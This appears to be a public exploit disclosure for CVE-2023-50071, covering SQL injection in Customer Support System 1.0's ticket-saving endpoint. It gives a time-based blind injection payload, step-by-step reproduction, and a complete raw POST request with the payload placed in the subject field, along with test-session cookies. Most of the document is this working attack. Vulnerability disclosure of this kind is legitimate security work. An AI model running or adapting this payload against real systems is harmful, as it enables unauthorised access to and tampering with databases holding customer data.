CVE-2023-50071 – Multiple SQL Injection
# Exploit Title: Customer Support System 1.0 - Multiple SQL injection vulnerabilities # Date: 15/12/2023 # Exploit Author: Geraldo Alcantara # Vendor Homepage: https://www.sourcecodester.com/php/14587/customer-support-system-using-phpmysqli-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14587&title=Customer+Support+System+using+PHP%2FMySQLi+with+Source+Code # Version: 1.0 # Tested on: Windows # CVE : CVE-2023-50071 *Description*: Multiple SQL injection vulnerabilities in /customer_support/ajax.php?action=save_ticket in Customer Support System 1.0 allow authenticated attackers to execute arbitrary SQL commands via department_id, customer_id and subject.*Payload*: '+(select*from(select(sleep(20)))a)+' *Steps to reproduce*: 1- Log in to the application. 2- Navigate to the page /customer_support/index.php?page=new_ticket. 3- Create a new ticket and insert a malicious payload into one of the following parameters: department_id, customer_id, or subject. *Request:* POST /customer_support/ajax.php?action=save_ticket HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0 Accept: */* Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------81419250823331111993422505835 Content-Length: 853 Origin: http://192.168.68.148 Connection: close Referer: http://192.168.68.148/customer_support/index.php?page=new_ticket Cookie: csrftoken=1hWW6JE5vLFhJv2y8LwgL3WNPbPJ3J2WAX9F2U0Fd5H5t6DSztkJWD4nWFrbF8ko; sessionid=xrn1sshbol1vipddxsijmgkdp2q4qdgq; PHPSESSID=mfd30tu0h0s43s7kdjb74fcu0l -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="id" -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="subject" teste'+(select*from(select(sleep(5)))a)+' -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="customer_id" 3 -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="department_id" 4 -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="description" <p>Blahs<br></p> -----------------------------81419250823331111993422505835 Content-Disposition: form-data; name="files"; filename="" Content-Type: application/octet-stream -----------------------------81419250823331111993422505835-- |